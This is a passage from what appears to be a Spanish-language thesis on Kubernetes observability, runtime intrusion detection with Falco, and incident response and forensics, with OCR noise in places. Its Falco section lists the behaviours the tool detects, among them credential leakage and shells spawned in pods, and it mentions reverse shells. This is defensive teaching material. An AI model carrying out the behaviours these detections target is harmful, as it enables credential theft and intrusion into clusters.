Cuando un contenedor en ejecucion escribe sus logs a stdout o stderr, el CRI (e.g. Docker)
los transmite a un controlador de logs (logging driver) [219] configurado en el cluster para
escribirlos a un fichero en formato JSON.

Por defecto, si un contenedor es reiniciado, kubelet mantiene sus logs al igual que lo hace
para todos los contenedores de un pod cuando éste es expulsado de un nodo. En la
mayoria de los casos, estos logs son alojados en el directorio /var/log/containers del
host. Para evitar que estos ficheros de logs consuman el almacenamiento del host, los
nodos de Kubernetes implementan un mecanismo de rotacién de logs (ver proceso en la
Figura 16). Para més detalles se recomienda consultar [220].

“ﬁo my-pod

@ app-container

stdout
stderr

-

, ,""‘*
log-file.log 4= _/ logrotate

Figura 16. Gestion de logs a nivel de nodo. (Fuente: kubernetes.io)

Logging a nivel de cluster:

A pesar de la funcionalidad integrada del CRI para la gestién de logs, en casos donde se
desee acceder a los logs de la aplicacion cuando el contenedor falla, el pod es desalojado o
el nodo muere; esta solucién no es factible, por lo que no es suficiente para considerarla
una solucién de logging completa.



A nivel de cluster, los logs deben tener un ciclo de vida y almacenamiento independiente al
de los nodos, pods y contenedores; este concepto es el llamado logging a nivel de cluster.
Las arquitecturas para este propésito requieren de un backend externo para almacenar,
analizar y consultar los logs [220]. Aunque Kubernetes no proporciona una solucion nativa
para estos propdsitos, existen muchas que son facilmente integrables como el stack de ELK
[221], Fluentd [222], entre otras.

Hasta el momento hemos abordado el logging a nivel de cluster referente a los workloads
(i.e. las aplicaciones), pero existen multiples componentes en el cluster (e.g. kube-apiserver,
kubelet, etc.) que producen logs, los cuales pudieran ser clave en la comprension de una
serie de eventos que terminan en un incidente de seguridad.

kube-apiserver constituye el nucleo de un cluster de Kubernetes y practicamente todo lo que
ocurre en el cluster se ve reflejado en este componente. Por esta razon, nuestro trabajo
profundizara en las estrategias de logging asociadas a este componente. Para mas detalles
sobre los otros componentes del cluster, se recomienda [223].

kube-apiserver constituye la Unica fuente de informacién para todos los componentes,
incluidas las extensiones como los operadores [224]. Sus logs pueden ser de gran utilidad
para indagar sobre peticiones fallidas al API, pero esto ocurre en raras ocasiones, por lo
gue el uso de estos /ogs no es un caso comun.

Sin embargo, existen algunos logs asociados con el kube-apiserver que pueden ser de gran
utiidad en la observabilidad: los registros de auditoria (Audit Logs) y los registros de
eventos (Event Logs).

8.1.1.2. Registros de auditoria

Los Audit Logs permiten obtener un conjunto de registros cronolégicos y relevantes desde la
perspectiva de la seguridad que documentan una secuencia de acciones en el cluster. Estos
logs permiten observar actividades generadas por usuarios, aplicaciones y el propio plano
de control. Su existencia es esencial para los equipos de seguridad y los operadores de la
infraestructura, pues les permite analizar la serie de eventos que llevo al estado actual del
sistema.

Estos registros comienzan su ciclo de vida con el componente kube-apiserver donde cada
peticion produce varios eventos de auditoria (uno por cada etapa de su ejecucion). Luego,
de acuerdo con una politica, se determina qué parte es retenida para ser almacenada en un
backend. Las etapas asociadas a una peticion a kube-apiserver son:

e RequestReceived: aplica a eventos generados tan pronto el controlador de
auditoria recibe la peticion y antes que delegue al resto de la cadena de
controladores.

e ResponseStarted: una vez enviados los headers de la respuesta, pero el cuerpo no
ha sido enviado. Esta etapa solo tiene sentido para peticiones largas (e.g. un watch).

e ResponseComplete: el cuerpo de la respuesta ha sido completado y no se enviaran
mas bytes.

e Panic: eventos generados cuando ocurren errores severos irrecuperables en el
sistema.

Estos logs son especiales, dado que son configurados separadamente y de manera muy
granular. Otra de sus ventajas es que pueden ser enviados en tiempo real a un endpoint
HTTP externo en vez de ser escritos en disco, lo cual es de gran utilidad para la depuracién
y el andlisis forense.

Para mas detalles al respecto, se recomiendan [180], [223].



8.1.1.3. Registros de eventos

Los eventos (0 Event Logs) son objetos que contribuyen a mostrar lo que esté ocurriendo en
el cluster. Ejemplo de ello son decisiones tomadas por kube-scheduler o por qué algunos
pods fueron desalojados de un nodo. Todos los componentes del cluster y las extensiones
(operadores) son capaces de crear eventos a través del kube-apiserver.

Cuando algo no esta funcionando adecuadamente en el cluster (e.g. aplicaciones), los
eventos son unos de los primeros aspectos a mirar. Mantenerlos durante largos periodos es
esencial si un fallo es el resultado de eventos previos o cuando se realiza un andlisis
post-mortem.

Los desarrolladores y operadores del cluster pueden obtener estos eventos a partir de los
registros de auditoria o mediante comandos como kubectl describe para recursos
especificos 0 kubectl get event para listar los eventos a nivel de cluster. En escenarios
de produccién, la alternativa recomendada es utilizar una aplicacion dedicada como un
operador de logs (logging operator) como el propuesto por Banzai Cloud [225].

Para mas detalles sobre el tema, se recomiendan [133], [223].

8.1.2. Métricas

El monitoreo de Kubernetes es un aspecto esencial en su seguridad, pues ayuda a una
mejor comprension del estado del cluster. Se pueden monitorear métricas de rendimiento,
uso de recursos y muchas otras que indiquen el estado de salud del cluster. La informacion
obtenida puede ayudar considerablemente a descubrir y remediar problemas encontrados
rapidamente, ademas de ayudar a detectar amenazas en nuestros workloads.

Las métricas son una representacion numérica de los datos medidas sobre un intervalo de
tiempo. Debido a esto, es posible aprovechar el poder de modelado de la matemética y la
estadistica para obtener conocimiento sobre el fendmeno observado. Estas caracteristicas
hacen a las métricas un componente mas que adecuado para informar sobre el estado
general de un sistema. Algunas de las principales métricas que vale la pena supervisar son
abordadas en [226].

Las estrategias, configuraciones y herramientas de monitoreo apropiadas pueden dividirse
en dos grandes grupos: para un cluster autoadministrado y un cluster administrado por un
proveedor en la nube. A continuacion se profundiza en cada uno de estos escenarios
mencionados.

8.1.2.1. Monitoreo en un cluster autoadministrado

En el contexto del monitoreo de un cluster, los elementos importantes a tener en cuenta son
mayormente los componentes de Kubernetes y los workloads (i.e. las aplicaciones). En la
mayoria de los casos, las métricas de los componentes del sistema (e.g. kube-apiserver,
kubelet, etc.) estan disponibles en el endpoint /metrics, lo cual permite tener una mayor
visibilidad de lo que ocurre dentro de ellos.

Una primera recomendacion es la instalacion de Metrics Server [227], una fuente eficiente y
escalable de métricas que puede ser usado en pipelines de auto-escalado para Kubernetes.
Metrics Server es un complemento del cluster que junta datos del uso de recursos de los
nodos y proporciona métricas agregadas a través del metrics APl [228]. Métricas clave
como el uso de recursos de CPU y memoria son algunas de las métricas agregadas por
Metrics Server para que estén disponibles a la consulta de los usuarios.



Una vez desplegado, es posible consultar el metrics APl para recuperar métricas actuales
de cualquier nodo y pod con comandos como kubectl top. No obstante, Metrics Server no
es aplicable en todos los escenarios, pues esta disefiado exclusivamente para Kubernetes,
no es una fuente fiable y no se recomienda su uso en escenarios de auto-escalado basado
en recursos diferentes al CPU/memoria.

Para el caso de los objetos asociados a las aplicaciones (i.e. workloads), se recomienda el
servicio kube-state-metrics (KSM) [229]. Al igual que Metrics Server, kube-state-metrics es
un complemento del cluster que puede ser instalado facilmente. Por otra parte, este servicio
ofrece informacion adicional que no proporciona Metrics Server generalmente relacionada
con los objetos del API de Kubernetes como capacidad del nodo, nimero de réplicas por
Deployment (e.g. desired, available, updated, etc.), estado del pod (e.g. waiting, running,
ready), etc.

Si bien kube-state-metrics nos ofrece una mayor visibilidad de los objetos de Kubernetes, no
es una solucién disefiada para produccién. El Dashboard de Kubernetes ofrece una interfaz
visual web (Ul) para que los administradores puedan gestionar y monitorear los objetos y
recursos del cluster [98]. Esencialmente, el Dashboard es un complemento que engloba las
funcionalidades que ofrece kubectl, pero a diferencia de éste sus graficas permiten ver la
evolucién de las métricas de interés en el periodo de los Gltimos 15 minutos.

8.1.2.2. Monitoreo en entornos de produccion

Como se ha comentado, los complementos anteriores no han sido disefiados para el
monitoreo en un entorno de produccidon. En estos casos, resulta necesario recurrir a
herramientas y plataformas de terceros creadas para estos propositos. A continuacién se
mencionan algunas de las mas conocidas, o que son de relevancia en nuestro trabajo.

Entre las herramientas de terceros mas recomendadas en la literatura para estos casos
(microservicios y/o Kubernetes), se encuentran las open-source Prometheus y Grafana (ver
Figura 17). Ambas pueden ser integradas con gran facilidad en Kubernetes y proporcionan
una gran cantidad de funcionalidades para una mayor vision del estado de los recursos del
cluster.

Los componentes de Kubernetes (e.g. kube-apiserver, kubelet, etc.) emiten métricas en el
formato de datos de Prometheus; un formato simple y estructurado en texto plano disefiado
para ser legible tanto por humanos como por los ordenadores. Por esta y otras razones
como la madurez de Prometheus (proyecto adoptado por la CNCF [230]), es ampliamente
recomendado su uso en produccion.

Una funcionalidad de gran utilidad para la seguridad en tiempo de ejecucion es el uso de
Alertmanager™ (ver Figura 17) para la gestion de alertas generadas por aplicaciones; en
este caso el servidor de Prometheus. Alertmanager cumple funciones de deduplicar,
agrupar y enrutar las alertas a los receptores apropiados (E-mail, PagerDuty, etc.) ademas
de silenciar e inhibir alertas cuando esto sea necesario.

1 https://github.com/prometheus/alertmanager
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Figura 17. Arquitectura e interaccién de Prometheus con Grafana. (Fuente: cncf.io)

Por su parte, Grafana soporta las consultas a la base de datos de Prometheus mediante el
uso de PromQL, lo cual consiste en la fuente de datos de sus paneles interactivos [231].
Facilita a los administradores crear, explorar y compartir dashboards (i.e. conjunto de
paneles) para contribuir a la observabilidad de las métricas deseadas en un lugar
centralizado.

Finalmente, la ultima estrategia recomendada para estos propésitos, es el uso de servicios
administrados y de plataformas avanzadas como Datadog [232], New Relic [233], entre
otros; muchos de ellos facilmente integrables con Kubernetes.

Para mas detalles respecto al tema, se recomiendan [234], [235].

8.1.2.3. Monitoreo de un cluster en la nube

Para el monitoreo efectivo de un cluster en la nube, una primera estrategia es la de poner
en practica las mismas estrategias que para un cluster autoadministrado en produccion. No
obstante, las opciones mas conocidas en la nube cuentan con sus propias soluciones
integradas de monitoreo.

AWS ofrece una variada oferta de soluciones de monitoreo disponibles para Kubernetes en
la nube, incluyendo un servicio dedicado llamado Amazon CloudWatch Container Insights.
Por su parte, Azure ofrece el servicio de Container Insights que permite monitorear el
rendimiento de workloads basados en contenedores (e.g. Kubernetes, etc.) desplegados en
la nube de Azure. En el caso de Google, al crear un nuevo cluster el servicio de Cloud
Operations para Google Kubernetes Engine (GKE) esta habilitado por defecto, facilitando
las capacidades de monitoreo para Kubernetes.

Para mas informacion al respecto, se recomienda [226].



8.1.3. Trazas

Las fallas en sistemas distribuidos complejos ocurren rara vez aisladas en un componente
especifico de la arquitectura. El caso mas frecuente involucra varios eventos que han sido
desencadenados en diversas partes de una topologia interconectada de componentes. El
simple hecho de inspeccionar eventos discretos en el sistema no es suficiente para
determinar la causa del problema. En estos escenarios, resultan necesarias las trazas
distribuidas (distributed tracing).

Como es de esperar, en vez de monitorear eventos puntuales, se recomienda usar las
trazas distribuidas para crear una asociacion que interconecta a los distintos componentes
involucrados en una sola transaccion (i.e. una traza). Cada traza incluye varios “spans™?
gue registran la interaccibn de cada componente involucrado, lo cual hace a las trazas
distribuidas un mecanismo mas que deseable para los sistemas distribuidos.

8.1.3.1. Frameworks para trazas distribuidas

Con la explosién de las arquitecturas de microservicios, las trazas distribuidas se han
convertido en una tecnologia necesaria en las aplicaciones nativas en la nube. Los nuevos
estandares (o frameworks) que han sido impulsados por la CNCF con este propdsito han
sido OpenTracing [237] y OpenTelemetry [238]. Google ha creado también otra solucion
llamada OpenCensus [239], contando también con el apoyo de Microsoft en su desarrollo. A
continuacion se abordan brevemente estos estandares/frameworks.

OpenCensus:

OpenCensus es un conjunto de bibliotecas para varios lenguajes que permiten recolectar
las métricas y trazas distribuidas de las aplicaciones y su transferencia a un backend en
tiempo real. Como ya se ha mencionado, surgié en Google como una plataforma interna de
observabilidad y su cédigo ha sido liberado, pudiéndose encontrar en GitHub [240].
Mediante las trazas, OpenCensus es capaz de realizar un seguimiento a peticiones,
mensajes y servicios desde sus puntos de origen a su destino. Actualmente, utiliza agentes
de auto-instrumentacion desarrollados por la propia comunidad, ya que no existe un API
oficial para desarrolladores.

OpenTracing:

OpenTracing por su parte, esta respaldado por la CNCF y tiene el objetivo de ofrecer una
API estandarizada para desarrolladores especialmente para las trazas distribuidas. De esta
manera, es posible embeber la instrumentacion en bibliotecas de uso comin o en nuestras
propias aplicaciones.

A pesar de que este enfoque tiene una gran flexibilidad, tiene una falla considerable. Los
detalles de implementacion se dejan en manos de proveedores y desarrolladores lo que
resulta en inconsistencias. Producto de ello, se han producido muchos cambios disruptivos
en la implementacion, lo cual afecta a la fiabilidad del proyecto.

OpenTelemetry:
En 2019, la CNCF anunci6 la fusion de los proyectos de OpenTracing y OpenCensus en un
nuevo estandar llamado OpenTelemetry. La fusién tiene como propdsito fundamental

12 Un “span” es la base primaria de una traza distribuida, representando una unidad de trabajo
realizada en un sistema distribuido [236].



proporcionar un conjunto Unico de APIs, bibliotecas, agentes y servicios de recopilacion
para métricas y trazas.

El proyecto pretende mantener el soporte para herramientas de analiticas existentes, asi
como soportar diversos backends como por ejemplo Prometheus o Grafana (métricas),
Elasticsearch (logs) y Jaeger, Zipkin, Skywalking, y otros (trazas).

Para mas detalles, se recomiendan [241], [242].

8.1.3.2. Herramientas de tracing

Como se mencionaba, Zipkin y Jaeger son dos opciones populares dedicadas al tracing.
Zipkin fue desarrollado por Twitter e inspirado originalmente en Dapper, el cual fue creado
por Google. Por su parte, Jaeger fue creado por Uber y en cierta manera toma algunas
ideas de Zipkin. A pesar de la existencia de otras soluciones como Apache SkyWalking
[243], nos centramos en aquellas mas conocidas y relevantes para este trabajo.

Zipkin:

Zipkin es un sistema de trazas distribuidas que ayuda a la recolecciéon de los registros
necesarios para identificar problemas de latencia en arquitecturas de microservicios. En
esencia, es una aplicacién basada en una biblioteca de Java que ofrece diversos servicios;
principalmente la recoleccion de trazas y la capacidad de busqueda sobre las mismas.

Para poder reportar datos de trazas a Zipkin, las aplicaciones deben ser “instrumentadas”,
lo cual significa la configuracion de una biblioteca de instrumentacion para trazas [244]. Las
formas més populares de reportar informacion de trazas a Zipkin son via HTTP o Kafka,
aungue existen muchas otras opciones (e.g. gRPC, RabbitMQ, etc.).

La herramienta tiene una interfaz visual Zipkin Ul gue muestra la informacion de las trazas y
“spans”, pero ademas ofrece un diagrama de dependencias que muestra las trazas que han
llegado a cada servicio de la aplicacion. Estos datos del Ul son almacenados en memoria o
persistidos en un backend como Apache Cassandra o Elasticsearch.

Para mas detalles sobre Zipkin, se aconsejan [245], [246)].

Jaeger:

Como se mencionaba antes, Jaeger es un proyecto de la CNCF cuya arquitectura es similar
a la de Zipkin; sistemas y aplicaciones instrumentados envian eventos y trazas a un colector
de trazas (trace collector). Los datos y su relacion con las trazas son almacenados por el
colector, informacién que puede ser visualizada posteriormente en una interfaz visual (Ul)
para la inspeccion de las trazas.

A diferencia de Zipkin, Jaeger es un sistema distribuido disefiado para la nube, por lo que
Kubernetes es la plataforma de despliegue preferencial. Un aspecto a su favor es que
puede combinarse con un proxy como Envoy o Istio, lo cual facilita que Jaeger procese las
trazas a través de los contenedores.

Para mas detalles sobre Jaeger, se recomiendan [242], [246].

8.1.3.3. Visualizacion de topologia de red

La visualizacion de la topologia de la red permite a las herramientas automatizadas y
equipos de seguridad descubrir tendencias y anomalias en el comportamiento de un
sistema. Segun [247], la funcionalidad de la visualizacién de la topologia representa un paso
complementario que contribuye a mejorar el impacto de las trazas distribuidas.

De esta manera, es posible dar seguimiento a las transacciones del cliente a través de los



distintos servicios, hasta llegar a su destino final. Esta habilidad de visualizar toda nuestra
infraestructura y poder cruzar esta informacion con las trazas distribuidas de las
transacciones del cliente permiten reducir el tiempo medio de recuperaciéon (Recovery Time
Objective (RTO)) de un error de una manera mas efectiva.

Existen varias soluciones y plataformas que permiten esta visualizacién de la topologia de la
red en Kubernetes. Entre ellas cabe destacar las combinaciones de Istio + Kiali y Cilium +
Hubble-Ul (ambas empleadas en el capitulo posterior del disefio experimental), aunque
existen muchas otras entre las que se encuentran Datadog, Backyards y muchas més.

Para mas detalles se recomienda consultar [247].

8.2. Escaneos y auditorias en produccion

Al final del capitulo anterior hemos abordado las estrategias basadas en los enfoques de
blue team (auditorias) y red team (pentesting) para el hardening del cluster. En este capitulo
hemos recomendado la implantacion de mecanismos de observabilidad para complementar
(recordar el principio de defensa en profundidad) las estrategias anteriores. Pero, ¢es esto
suficiente?.

Como bien se describe en [248], hoy en dia “garantizar” la seguridad de un sistema es un
proceso continuo y Kubernetes no es la excepcion. En entornos reales de produccion, se
recomienda la aplicacion de mecanismos y estrategias de seguridad que permitan evaluar el
nivel de seguridad del sistema de manera periédica.

Los candidatos ideales para estas evaluaciones periddicas son los escaneos y auditorias
propuestos anteriormente en los enfoques de blue team y red team. Estos procesos no solo
se recomiendan en una etapa de produccion, sino que es beneficiosa su integracion en el
proceso de DevOps, resultando en el enfoque DevSecOps [249].

En el contexto de Kubernetes, el concepto de DevSecOps es denominado KubeSecOps, y
este flujo de trabajo consta precisamente de considerar la seguridad antes (i.e. shift left
security [250]) en el proceso de desarrollo, despliegue y administracion del cluster.
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Figura 18. Flujo de trabajo con KubeSecOps. (Fuente: vaibl6dec.medium.com)



Un posible flujo de trabajo de KubeSecOps se puede observar en la Figura 18. En este
caso, la seguridad se incorpora en las tres etapas fundamentales del proceso: desarrollo,
pruebas (staging o QA) y produccion.

En la primera de las etapas, se pueden incluir mecanismos de seguridad importantes como
el uso de un KMS (en este caso Vault) para la proteccion de los secretos, la proteccién de la
cadena de suministro de software (en este caso Harbor, Trivy y TUF [251]) y el uso de un
motor de politicas (en este caso OPA) para un control de los recursos a desplegar en el
cluster.

A continuacién, en la etapa de staging tiene el propdsito de securizar el pipeline de CI/CD
encargado del despliegue a Kubernetes. Es en esta etapa donde se produce la ejecucion
automatica de herramientas de escaneo y auditoria como es el caso de kube-bench (blue
team), kube-hunter (red team), kube-audit (auditoria de workloads) e illuminatio (auditoria de
red).

En la etapa final de produccion, una primera recomendacion es la realizacion de pruebas de
pentesting manual por expertos de manera periddica. Otra recomendacién importante en
esta etapa es el uso de soluciones para la prevencion de intrusiones nativas en la nube (en
este caso Falco).

Precisamente esta Ultima propuesta serd abordada en mas detalle en la siguiente seccion.

8.3. Prevencion de intrusiones nativa en la nube

Cuando utilizamos un cluster de Kubernetes de un proveedor de la nube como AWS o GCP,
contamos con diversas herramientas de seguridad a nuestra disposicion para proteger el
plano de control, pero ¢,qué hacer respecto a la seguridad del plano de datos?.

Kubernetes no se encarga de gestionar la seguridad en los nodos que tiene asignados, por
tanto, es imprescindible dar pasos adicionales para securizar nuestros entornos en la nube.
Hasta el momento se han propuesto estrategias de proteccidén en tiempo de ejecucion, pero
estas no son suficientes. Ante un evento de intrusién en el cluster, es necesario contar con
los mecanismos para su correcta remediacién o mitigacion. A continuacion se abordan en
mas detalle dichos mecanismos.

8.3.1. IDS/IPS nativo en la nube

Los sistemas de deteccion de intrusiones (IDS) y sistemas de prevencion de intrusiones
(IPS) son las siguientes capas de seguridad a agregar al cluster. Mientras que un IDS es
una herramienta mas apropiada para tareas de monitoreo, el IPS desempefia un papel
activo en la proteccion, siendo capaz de bloquear acciones maliciosas.

Otro punto a su favor es que el trafico monitoreado que se ajuste a una regla de seguridad
definida creard un evento de seguridad. Por razones de eficiencia y seguridad, estos
eventos son comunmente almacenados e introducidos a un sistema capaz de realizar un
analisis, como las soluciones SIEM [252].

Ambos pueden ser utilizados en conjunto para ofrecer una mayor proteccion de nuestra
infraestructura y aplicaciones. Sin embargo, los sistemas IDS/IPS existentes no han sido
disefiados (ni los de red ni los de host) para entornos en la nube, por lo que es necesario
usar soluciones nativas en la nube. A continuacion se abordan las principales plataformas y
herramientas en la literatura disefiadas exclusivamente para la nube.



8.3.1.1. Falco

Falco®™ es un proyecto open-source de seguridad en tiempo de ejecucion nativo para la
nube que ademas es considerado de facto el motor de deteccion de amenazas de
Kubernetes. Creado en 2016 por Sysdig, siendo el primer proyecto de seguridad en tiempo
de ejecucién en formar parte de la CNCF.
Falco facilita el consumo de los eventos del kernel, junto con otros eventos provenientes de
Kubernetes y otros componentes nativos de la nube. Es un motor de deteccién basado en
reglas de seguridad (> 100 reglas por defecto) creadas especificamente para Kubernetes,
Linux y sistemas nativos en la nube. Si una de estas reglas es violada, Falco enviara una
alerta notificando de la violacién y su severidad.
Falco es ampliamente usado para detectar comportamientos andémalos en entornos nativos
de la nube y se basa en el uso de indicadores del comportamiento para detectar anomalias
de seguridad, por ejemplo [253]:

e Filtrado de credenciales

e Detectar si se han levantado shells en los pods.

e Contactar al kube-apiserver desde un contenedor.

e Intentar determinar si se trata de una shell en un entorno de contenedores.
Otro factor a considerar es su flexibilidad, ya que los operadores pueden definir reglas para
definir qué es un comportamiento inesperado de una aplicacion, las cuales pueden ser
especificas para un entorno Kubernetes. Adicionalmente, los equipos de seguridad pueden
detectar violaciones de reglas basados en informacién proveniente de la comunidad (e.g.
CVEs, etc.)
Falco soporta dos fuentes de eventos sobre las cuales realizar la deteccion de anomalias:
las llamadas al sistema (system calls) y registros de auditoria (Audit Logs) de Kubernetes

(ver Figura 19).
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Figura 19. Arquitectura de Falco. (Fuente: thenewstack.io)

En el caso de las llamadas al sistema, Falco requiere de un controlador para la escucha del
kernel de Linux. Este controlador puede ser un modulo open-source del kernel o Extended

13 https://falco.org/
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Berkeley Packet Filter (eBPF), un mecanismo seguro para la ejecucion de cédigo de usuario
en el kernel [254]. Ya dentro del espacio de usuario Falco le afiade contexto a la llamada al
sistema con el nombre del proceso, ID del contenedor, nombre del contenedor y la imagen,
etc. En el caso de los registros de auditoria de Kubernetes, los administradores del cluster
deben habilitar esta funcionalidad y configurar como backend el servicio de Falco.
Finalmente, el motor de politicas/reglas de Falco verifica si alguno de los eventos recibidos
(de cualquiera de las fuentes) coincide con las reglas de Falco cargadas y realiza acciones
de bloqueo o notificacion de la incidencia.

Para mas detalles sobre Falco y su configuracion para Kubernetes se recomiendan [255],
[256, p. 204].

8.3.2. Plataformas de seguridad nativas en la nube

La seguridad en tiempo de ejecucién en la nube comprende muchos aspectos que en
ocasiones, soluciones como Falco no son capaces de resolver. En estos casos se necesita
de plataformas avanzadas de seguridad nativas en la nube que sean capaces de brindar
una proteccién a la medida de Kubernetes. Algunos ejemplos de estas funcionalidades
adicionales son:

e Deteccion continua de amenazas en los logs de la nube (e.g., accesos a ficheros,
inicios de sesion sospechosos, etc.)

e Deteccion de malwares ocultos en paquetes/imagenes open-source que no pueden
ser detectados con escaneo estatico de manera regular.

e Proteccion de los workloads en tiempo de ejecucién mediante la inmutabilidad en la
nube (drift prevention) [257], perfiles conductuales, y firewalls avanzados basados en
la identidad de las aplicaciones.

e Seguimiento, auditoria e informes de cumplimiento con las buenas practicas y
requerimientos regulatorios como PCI-DSS, HIPAA y GDPR.

Algunos ejemplos de estas plataformas son Sysdig Secure, Aqua Enterprise, Neuvector,
entre muchas otras. A continuacién se abordan las mas conocidas o que de cierta manera
son relevantes en el trabajo.

Sysdig Secure:

Sysdig Secure es de cierta manera un extension de Falco, ya que aprovecha el motor de
reglas de Falco para garantizar la seguridad en tiempo de ejecuciéon y la deteccion de
amenazas en la nube. Adicionalmente, facilita la gestion y el mantenimiento de las politicas,
lo que ahorra tiempo en este tipo de tareas.

Algunas funcionalidades adicionales de la plataforma son:

e Bloqueo de amenazas ampliando las capacidades de Falco con la accion de
prevencién y con respuestas automatizadas sin impacto en el rendimiento.

e Creacion de perfiles basados en el aprendizaje de maquina (machine learning) para
crear y actualizar reglas de una extensa biblioteca de reglas.

e Embeber la seguridad a lo largo del proceso de DevOps mediante el escaneo de
imagenes, monitoreo de seguridad, analisis forense, respuesta a incidentes y
auditoria.

e \Validar el cumplimiento con estandares como NIST y PCI-DSS.

Para mas detalles al respecto, se recomienda consultar [258].



Aqua Enterprise:
Aqua Enterprise es la solucién de seguridad nativa en la nube que permite proteger las
aplicaciones desde el desarrollo hasta la produccion en una sola plataforma unificada. Una
de las lineas de interés de Aqua (la empresa detras de kube-bench, kube-hunter y Aqua
Enterprise) es la seguridad en Kubernetes, lo cual se materializa en las herramientas y
plataformas como Aqua Enterprise.
Algunas de las funcionalidades avanzadas de la plataforma son:
e Obtencion de resultados de escaneo de vulnerabilidades més precisos en funciones,
contenedores e imagenes de VMs.
e Configuracién y hardening adecuados de la infraestructura en la nube (laaS) y los
entornos de Kubernetes.
Para mas detalles sobre el tema, se recomienda [259].

8.4. Gestion de incidentes de seguridad

El primer paso para una correcta gestion y mitigacion de incidentes de seguridad es poder
identificarlos correctamente. Nuestra habilidad de reaccionar rapidamente a un incidente
puede ayudar a minimizar el dafio causado por una brecha de seguridad. En caso de que
ocurra un incidente, el equipo de seguridad debe tomar decisiones rapidas y certeras para
la remediacion, y en caso peor, la mitigacion de la incidencia.

Los aspectos mencionados con anterioridad se abordan con mas detalle en los siguientes
apartados.

8.4.1. Deteccion de incidencias

Para una buena deteccion de incidencias, la primera de las recomendaciones es implantar y
configurar de estrategias de observabilidad (e.g. logs, monitoreo, etc.). Como se comentaba
con anterioridad, cada uno de estos pilares de la observabilidad contribuye de manera Unica
a obtener una vision detallada del cluster a distintos niveles.

En entornos reales, los ingenieros de DevOps y SREs se apoyan con bastante frecuencia
en esta informacion para mejorar la resiliencia y rendimiento del sistema, asi como la
deteccion de incidentes de seguridad. Para estos propdésitos, se recomiendan implantar
herramientas ya abordadas como Jaeger, Fluentd, Prometheus, Grafana o el stack de ELK.
Mas detalles al respecto se pueden encontrar en [260].

El siguiente paso es la configuracion de alertas para la deteccion de eventos anémalos en
las métricas y logs. Contar con un sistema de notificacion fiable permite alertar de manera
inmediata al equipo de seguridad de un evento sospechoso, el cual puede revisarlo y
asignarle la prioridad requerida en funcién de su severidad.

Algunas de las posibles herramientas comunmente utilizadas con estos propositos pueden
ser la combinacion de Prometheus + Alertmanager, aunque también seria valida la de Istio +
Kiali. Por otro lado, es también deseable contar con herramientas tipo IPS como Falco +
Falcosidekick para alertar de cualquier intrusion en nuestro cluster. Para mas detalles al
respecto, se pueden consultar [253], [260].

Una ultima recomendacién para la deteccién de incidentes de seguridad es la implantacion
de una de las plataformas de seguridad nativas en la hube mencionadas anteriormente.



8.4.2. Respuesta a incidentes

Ante la deteccion o alerta sobre un incidente es necesario llevar a cabo algun tipo de
accion. En primer lugar, se recomienda la correccion de la vulnerabilidad de ser posible. En
caso de no conocer la raiz del problema o no tener una solucién disponible, es necesaria la
mitigacion del problema.

En escenarios de produccion el caso mas comdn es no conocer la raiz del problema, por
tanto los primeros pasos del equipo de seguridad deben estar orientados a las estrategias
de mitigacion. Pero, ¢qué estrategias tradicionales o controles nativos de Kubernetes
aplicar en estos casos?

Un aspecto importante a destacar antes de la toma de accién es considerar si podria haber
una reaccion negativa (adversarial “‘game”) por parte de atacante si notan que han sido
descubiertos. La eliminacién de datos o inhabilitacion de workloads pueden ser algunos de
los ejemplos. Si existe un riesgo considerable de que esto ocurra, se deben considerar
mitigaciones mas drasticas como eliminar el workload antes de realizar una investigacion
més profunda.

Es importante destacar que las estrategias adecuadas dependen de factores como el
alcance y la severidad del incidente, asi como la naturaleza y del mismo. A continuacién se
abordan algunas de las recomendadas en la literatura [261], [262].

Instantanea del disco del nodo master/worker

Una instantanea (o0 snapshot) permite la realizacién de un andlisis forense posterior (ver
siguiente apartado) sobre el estado del nodo al momento de la anomalia, justo antes de que
un workload haya sido desplegado nuevamente o eliminado.

Inspeccién del host con el workload en ejecuciéon

Una conexion con el contenedor de un workload o con el nodo (e.g. via SSH) puede ofrecer
informacién valiosa sobre las acciones del atacante. La inspeccién es util para llevar a cabo
una investigacion rapida y sutil antes de tomar acciones drasticas, pero hay que resaltar que
por otro lado, no resuelve el incidente.

Volver a desplegar el contenedor

Al desplegar nuevamente el contenedor, cualquier proceso en ejecucion (e.g. una shell
reversa) en el contenedor afectado es detenido. Llevar a cabo esta accion es tan simple
como deshacerse del pod que lo contiene (sea gestionado por un Deployment/DaemonSet o
no). Esta estrategia tiene sentido en dos situaciones principalmente: ya se conoce la causa
de la vulnerabilidad o se estima que el atacante tendra que realizar un esfuerzo significativo
para comprometer nuestro contenedor nuevamente (principio de moving target defense).

Eliminar el workload

Esta estrategia tiene sentido cuando se desea detener un ataque en curso o estamos
dispuestos a prescindir de dicho workload, ya que en la mayoria de las situaciones es mas
importante detener el ataque que la disponibilidad de la aplicacion o poder garantizar un
analisis forense.



Poner el pod en cuarentena

En casos donde necesitemos investigar los contenedores de un pod pero que ya no formen
parte del servicio, pues no es recomendable depurarlo cuando todavia se recibe trafico de
produccién en el pod. Para ello, se recomienda la herramienta kube-forensics [263].
Ademas, es recomendable el bloqueo del trafico de salida (egress) del pod para evitar
desplazamientos laterales mediante las politicas de red.

8.4.3. Andlisis forense

Las estrategias anteriores de respuesta a incidentes contribuyen a la mitigacion de cualquier
ataque o vulnerabilidad que haya sido explotada en nuestro cluster. Estas acciones son de
gran importancia para neutralizar una amenaza o un ataque a nuestro sistema, pero no son
suficientes. Resulta clave llegar a la raiz del problema y aplicar medidas de remediacion
para evitar que se repita el incidente en el futuro.

Con dicho objetivo en mente, se detallan a continuacion distintas estrategias pertenecientes
al campo del andlisis forense destinadas a encontrar las causas, asi como las posibles
medidas a implementar para la correcta remediacion del problema.

Una condiciébn necesaria a tener en cuenta y que ya ha sido abordada en parte con
anterioridad, es la generacion y recopilacion de registros de auditorias y eventos en el
cluster, asi como otros /logs asociados con la capa de red y los workloads. En escenarios
donde se haya desplegado una malla de servicios, como Istio, es posible beneficiarse de las
capacidades de observabilidad avanzadas en nuestro cluster.

De manera complementaria, es recomendable emplear soluciones y herramientas de tipo
live forensics (analisis forense en tiempo real). El objetivo del live forensics es la recoleccion
de informacion relevante para el analisis forense de los sistemas en ejecucion, ofreciendo
informacién de contexto adicional que no esta disponible en el andlisis forense solo usando
la informacion del disco.

El analisis de recursos del cluster con live forensics, como los workloads vy el trafico de red,
es posible mediante herramientas como GRR Rapid Response [264], [265], Sysdig Inspect
[256, p. 210], [266], [267] 0 Aqua Cloud Security Posture Management (CSPM) [268].

